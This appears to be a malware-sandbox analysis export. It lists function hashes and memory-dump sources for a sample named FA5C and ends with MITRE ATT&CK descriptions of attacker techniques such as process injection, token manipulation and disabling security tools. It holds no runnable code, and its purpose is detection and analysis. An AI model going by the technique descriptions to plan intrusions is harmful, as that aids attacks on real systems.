Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7335028e81b2c63408d50bdf21beafe33ba851929d8dca50b2c9db8fc9b92b72
Instruction ID: 486cf77a24d6a6fbb62584f45765f5d12f42e793d6eb99fe2726d15107d94894
Opcode Fuzzy Hash: 7335028e81b2c63408d50bdf21beafe33ba851929d8dca50b2c9db8fc9b92b72
Instruction Fuzzy Hash: 0381D23DB006148FD714DF79D594AAAB7F6EF88214B158469D90ADB3A1DF30EC06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02856F10, Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c17931b32f08a9113500d1d1913704489c0370fe3f080a28fa691db9019815
Instruction ID: 0fba4a46bd89ebaf4f65c969f872147e959e5cd17b9784b103d5daa755fbf9b1
Opcode Fuzzy Hash: 76c17931b32f08a9113500d1d1913704489c0370fe3f080a28fa691db9019815
Instruction Fuzzy Hash: DA81607DA001298FCB05DF68C4849AEFBF5EF89314B1584AAE909DB361DB30ED41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0285DE07, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b0bf598086243d23cef6b9e0850444db59ea8af78e2c45c4c3a81daa6c0ea9
Instruction ID: 6b5e79f312ecd1d4e856178662d96d102e34e3fcc7a2abd755438293e9add403
Opcode Fuzzy Hash: 35b0bf598086243d23cef6b9e0850444db59ea8af78e2c45c4c3a81daa6c0ea9
Instruction Fuzzy Hash: C3515E38B002159FDB459F65D8686BEBBF2EF88311F148029ED0AE73A1DF349D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 028510A0, Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51d7c063e83690a82c6ad31b50a75565df5b8722519480695c43ae425d9e19a4
Instruction ID: f1f686ed3113ba3e4fa57833f5c278c21b8cb62685403081260f2d463e18b90a
Opcode Fuzzy Hash: 51d7c063e83690a82c6ad31b50a75565df5b8722519480695c43ae425d9e19a4
Instruction Fuzzy Hash: BA41C13A7046208FC721CB69D884A5AB7E5EF85724719C5BAD81DDB742CB30FC06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0285CB08, Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42dc037101e92b950eb7e22d0efef12663dc4123276090f4c2404bbcc5677083
Instruction ID: 76e905b59cc56146b242678eec8e98fc1ba971c3f95d652ac822c15a975cfb6d
Opcode Fuzzy Hash: 42dc037101e92b950eb7e22d0efef12663dc4123276090f4c2404bbcc5677083
Instruction Fuzzy Hash: A3415079B002189FCB04DFA9C880AAEFBB6FF88314F148069E914A7351DB31AD45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02857380, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a836f3c5cfacb46a7c5544ce650fbb2c698d73b5afc24c95d3f9ca8fb3ba7d7
Instruction ID: 6db2e4111ede911875ade6feec45ceb5a1ab0c3d3bb0d78f649a1b75377dd04b
Opcode Fuzzy Hash: 4a836f3c5cfacb46a7c5544ce650fbb2c698d73b5afc24c95d3f9ca8fb3ba7d7
Instruction Fuzzy Hash: B3312739B002159FCB15DF34D494A6A7BB6AF89204B1488A9E905CB3A5DB31ED11CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02857390, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd0aed3c3a440bdbb76bd04e04f42747295edc6403d1f28009db537eb2eb150
Instruction ID: 0f3624ff7e9a432da66079bd7c6c65d197e417aed0c4b7986fc43c9aa3f48205
Opcode Fuzzy Hash: 0dd0aed3c3a440bdbb76bd04e04f42747295edc6403d1f28009db537eb2eb150
Instruction Fuzzy Hash: 0D312839B003159FCB15DF34D484A6ABBF6BF89314B148868E906CB3A5DB31ED11CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0285D3B8, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fc87e0bf898dca957aa69b6d03e0b010eefc5232a0a89530f752b5284cb694a
Instruction ID: 35ab2cabb2440d48a5bab46bc1c1c15bc16aaa14ac9108520d20641247bad205
Opcode Fuzzy Hash: 9fc87e0bf898dca957aa69b6d03e0b010eefc5232a0a89530f752b5284cb694a
Instruction Fuzzy Hash: 1B31E079B00211CFCB059F70985466EB7B6AF84205B148579DD0AEB391CB30DC0ACBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0285BB00, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad8cef5bfca5662ee5d473ecea5eaa52750c13ff25459ecc4c344f0d041e7e99
Instruction ID: 63f564c39f835c517b047d667f022a4eab9814a4972d81d8e43562cdcd17a531
Opcode Fuzzy Hash: ad8cef5bfca5662ee5d473ecea5eaa52750c13ff25459ecc4c344f0d041e7e99
Instruction Fuzzy Hash: C4319E39600619CFC710CF68D984AAA77F6FF49314B204469E80ADB375CB70ED40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00C5D55C, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.829594611.0000000000C5D000.00000040.00000001.sdmp, Offset: 00C5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c5d000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 711959213ae041421c67cab0aecebd2a49123e021be3dc28a5c100571eae5193
Instruction ID: 9f28183c638015adb687f11a9491068e69b119d0ff7e1c19ac63e35ab2302221
Opcode Fuzzy Hash: 711959213ae041421c67cab0aecebd2a49123e021be3dc28a5c100571eae5193
Instruction Fuzzy Hash: 3E2148B9504340DFDB11DF00D9C0B16BB65FB84329F3485A9EC0A4B246C736D89AD7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00C7D01C, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.829724709.0000000000C7D000.00000040.00000001.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c7d000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87bebdb37b19fcb6086d38309b94720a6d88aa7994fb881a20ac4c567aba554e
Instruction ID: 5ada4ce40b28a11410d2928d898234ac3243437125f0ce400c9ff588f6ed7c6f
Opcode Fuzzy Hash: 87bebdb37b19fcb6086d38309b94720a6d88aa7994fb881a20ac4c567aba554e
Instruction Fuzzy Hash: A3210471504240DFDB10DF14D9C4B26BBB5FF84724F34C5A9E90A4B246C336D946DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02857AA8, Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cf2838cd0d2620b4b488148a9ecefb3b0504290ed9af2b5feb431f64a84a14d
Instruction ID: a54e2e1b3dba2edb7a1450883308510601dd678cd5989e1a132df6b5dc79d975
Opcode Fuzzy Hash: 7cf2838cd0d2620b4b488148a9ecefb3b0504290ed9af2b5feb431f64a84a14d
Instruction Fuzzy Hash: 2A216F393046108FC314DF2DD880956BBE6AFC9224765C969E95DCB392EB71EC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0285E791, Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0641b02c3a31f2529906c00c23b4975f3d4ebeaff142d65db2c088a1ba5fed09
Instruction ID: e6d2897b93ffb259f2adc753087308f73d5b2546a2e5b6d16a56f9311936849c
Opcode Fuzzy Hash: 0641b02c3a31f2529906c00c23b4975f3d4ebeaff142d65db2c088a1ba5fed09
Instruction Fuzzy Hash: D521AF396053409FD3158F24D894E567BF6EF8A314B2584AEE58ACB3A2CB31ED85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0285F3BF, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 904f682a6835ea98f6b59e6a868301bc1d765cbe672395d731ccc8875d06c8fc
Instruction ID: 496e9af42e0730bc53f9cf7cc63a844a6728536fc3a5608c45e9b19c7288182e
Opcode Fuzzy Hash: 904f682a6835ea98f6b59e6a868301bc1d765cbe672395d731ccc8875d06c8fc
Instruction Fuzzy Hash: 8911063D7041294BE7140A7A9880B6B76DEFFD6758F64803B9B09CB681DF64C846C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 0285F318, Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53b6a99477496cb2bff480d47e2f4a88dea91cf7ce4c2002dbd2154d6b83d9c0
Instruction ID: c74801bdd9b9a0afd0482422559fe96cb3a8261abeb7c820191dcfe861ca0556
Opcode Fuzzy Hash: 53b6a99477496cb2bff480d47e2f4a88dea91cf7ce4c2002dbd2154d6b83d9c0
Instruction Fuzzy Hash: 9811033D7053108FE3258F66E480A53BBA7EF92215B1884AADA4EC7612DB35E880CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C7D005, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.829724709.0000000000C7D000.00000040.00000001.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c7d000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14e558dbf5531cfe63d3b875ab3229b38a0060200334355ca59ec2e91fdf96f1
Instruction ID: af32c530ad6db96c26d3183f5727e0a2affb76d73005970e6a3f554322b3c738
Opcode Fuzzy Hash: 14e558dbf5531cfe63d3b875ab3229b38a0060200334355ca59ec2e91fdf96f1
Instruction Fuzzy Hash: 18217F755093C08FCB12CF20D994B16BF71EF86314F29C1EAD8498B657C33A991ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 02857F9B, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bee3503531ba0a5d677d4197ade5fa221b82fbbfe05574e47ff756f488719320
Instruction ID: 532a44651ce26983156308750ca319e969ddac7a1bcedc0dbc9af83416ec89b1
Opcode Fuzzy Hash: bee3503531ba0a5d677d4197ade5fa221b82fbbfe05574e47ff756f488719320
Instruction Fuzzy Hash: B011813AB00114CFDB549BA9D8583EEBBB6EF88325F14042AD90AF7250DF350C89CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C5D557, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.829594611.0000000000C5D000.00000040.00000001.sdmp, Offset: 00C5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c5d000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f94134bb014abb579cfd279659e17573a78b517b5aeb89abd8cbe1213a7701
Instruction ID: 7d7badd4d89fc0435062d45f658921eb3463889569f7f9c9ee84b0c94aa8751d
Opcode Fuzzy Hash: 14f94134bb014abb579cfd279659e17573a78b517b5aeb89abd8cbe1213a7701
Instruction Fuzzy Hash: 7A11B176404280DFDB12CF10D5C4B16BF72FB94324F28C6A9EC090B656C336D99ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0285B298, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa54a72a13f6672250c19dd5e7a1d171ecae4806576ea26af28cc342614ec7ad
Instruction ID: e8183a3da0978d634d42251018ac1c03ec38911235ca663b3e50db1b2730dece
Opcode Fuzzy Hash: fa54a72a13f6672250c19dd5e7a1d171ecae4806576ea26af28cc342614ec7ad
Instruction Fuzzy Hash: 8111C138B102298FCB14DF65D890AAFB7BAFBC4254F100569D94AEB355EF70AC0587A1

Uniqueness

Uniqueness Score: -1.00%

Function 02859E60, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 259c5a9dbc815762fbcb5f3151d7047752b1e8cf622c5cb57047ce85dfa861db
Instruction ID: 3b4ff607047c20c4a363ed5052249a237073cd00644a1c1ee6c279b6544605fb
Opcode Fuzzy Hash: 259c5a9dbc815762fbcb5f3151d7047752b1e8cf622c5cb57047ce85dfa861db
Instruction Fuzzy Hash: 2E017176B001199BCB10DAA9EC54ABFB7BAEBC8251F10403AE509D3240DB709D1587E1

Uniqueness

Uniqueness Score: -1.00%

Function 02857F20, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c162423fcf888d62c387976921f980cb0d8fc448fe4efecd22c0bcae1c55be20
Instruction ID: 3eb938fbc4518da1be41df7be79e498ec31c72635399960112c87472f6a93d27
Opcode Fuzzy Hash: c162423fcf888d62c387976921f980cb0d8fc448fe4efecd22c0bcae1c55be20
Instruction Fuzzy Hash: 9F0129397046158FC704DF29D488A1AFBFAEF8426471988AAE905CB371DB71EC05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0285AC88, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e2bdf935173c42845e985aed7cd93954f78df5f51e93271a50fba2475a6276d
Instruction ID: cbbfea88e6332df71f384a1efa4e5ea6409783c65704dae2ecc0ffb2c3d9dfff
Opcode Fuzzy Hash: 7e2bdf935173c42845e985aed7cd93954f78df5f51e93271a50fba2475a6276d
Instruction Fuzzy Hash: 13112E39E04219DFDB18DF94D950AEEBBF2AF8D310F248169E905B7360DB315A04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02857310, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31df00434a84c46043f55409fd2446316477e09af1440e2ee9d0f1db15591d93
Instruction ID: a2818081acd580f9a384f31beb37cb19b7488503735c0f6ea1248a4a82610b26
Opcode Fuzzy Hash: 31df00434a84c46043f55409fd2446316477e09af1440e2ee9d0f1db15591d93
Instruction Fuzzy Hash: 1801AD3C640726CFC7298A26C5046A7F7E6FB802297A8CC2CDC0AC6510EB71E880CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0285AC98, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 047afbb7aabf84bf172667584795e2509763af0f8ccde5d9be1995c6b401ebee
Instruction ID: df87d69c6e410ab3ffc1d92afd8c889330361b63dd535abd8f2a3c8f136cd33d
Opcode Fuzzy Hash: 047afbb7aabf84bf172667584795e2509763af0f8ccde5d9be1995c6b401ebee
Instruction Fuzzy Hash: 71011B78E00219ABDB08DFA5D954AEEBFF2AF8C710F148169E805B7350DB715D04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0285F309, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4355b8e67c59e0a6c90dbcb811bc9789917084421c7b5e1132a71952295abdd5
Instruction ID: 14861c5bf29bd89d79b54a022b56fe8b6768dc2af0a38a11dec14eed4db80d55
Opcode Fuzzy Hash: 4355b8e67c59e0a6c90dbcb811bc9789917084421c7b5e1132a71952295abdd5
Instruction Fuzzy Hash: 86F09A392093945FD3229B66E844882BBF5EF8621171984AADA88C7222DA21E901C761

Uniqueness

Uniqueness Score: -1.00%

Function 02858CA0, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edfe9ca459705d018b95dd09eb83617e3e88c3b0575c87bc1b411139a2af0974
Instruction ID: bf316875770aebb9e291c1fad01fe92d62d9c1a16f196a95abb16f60ac0e8179
Opcode Fuzzy Hash: edfe9ca459705d018b95dd09eb83617e3e88c3b0575c87bc1b411139a2af0974
Instruction Fuzzy Hash: 60F037762041E83F8B558E9A5C14DFB7FEDDACE162B094156FF98D2142C429C960EBB0

Uniqueness

Uniqueness Score: -1.00%

Function 02857300, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5de41efb3e866b7d8d4e969224720443767b6407c0967899e1fbb9233830f521
Instruction ID: 84903bbd3e8277f306f7f8b816138cbdd581a936e5abb7adfd10cb6896d18aa3
Opcode Fuzzy Hash: 5de41efb3e866b7d8d4e969224720443767b6407c0967899e1fbb9233830f521
Instruction Fuzzy Hash: 1FF0F67D504752CFC7218E21C5407A6FBB1BF8021DB58C8AEC84586412E770E484C740

Uniqueness

Uniqueness Score: -1.00%

Function 02859E50, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46ed734213339e53bf89715601d59f9135d4ac1c60728aeda0bdacc6c8597680
Instruction ID: 33186e10b4b95408dc1d114a6faad57c8bcfdd638ae3a8ede691f3c8210e0a8f
Opcode Fuzzy Hash: 46ed734213339e53bf89715601d59f9135d4ac1c60728aeda0bdacc6c8597680
Instruction Fuzzy Hash: 58F0A07AB04165DFCB01DBA8AD586BEBBB9EA8925070848ABE518D3201E7308805C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 028574A1, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd754807dbaacb8afb4832faeba1c2438504db5178187f674426e71730b1e316
Instruction ID: 7e906d9f26deee534e933cafb9abfbb236d223d4223bd27cfdfe16ded086096b
Opcode Fuzzy Hash: dd754807dbaacb8afb4832faeba1c2438504db5178187f674426e71730b1e316
Instruction Fuzzy Hash: 8DE0927690C3509FD341DB34D8545E6BBE4EF9A228B05CDAED5C5C7181EB31E842C750

Uniqueness

Uniqueness Score: -1.00%

Function 02857BD8, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 758b0fd7d31ba8a1e9a90030a274fc72ae1854c29d132fa386905d3a72c975a7
Instruction ID: 1c8901c628e1c2a551ec6300e167c31e6dcfa577659a08c77eede99c4abe403b
Opcode Fuzzy Hash: 758b0fd7d31ba8a1e9a90030a274fc72ae1854c29d132fa386905d3a72c975a7
Instruction Fuzzy Hash: 98D0A738704B16478724976AE840497B3D9DFC4668345CC2DD55EC7560DF70F84287C4

Uniqueness

Uniqueness Score: -1.00%

Function 02850C80, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1855c5f0ee603e09a213cabb04ff031109df3277c6b30264c230f65bd6ce3e06
Instruction ID: f0b5b3ef2baaeb1a051c34f612bd7d4a8674fdf3dcae96ad5f6331bf4926e7a0
Opcode Fuzzy Hash: 1855c5f0ee603e09a213cabb04ff031109df3277c6b30264c230f65bd6ce3e06
Instruction Fuzzy Hash: 76B0123518860F8B86407B61F4079447B5CB5C0A0C3880C11A50C4E05A5F64241086CC

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

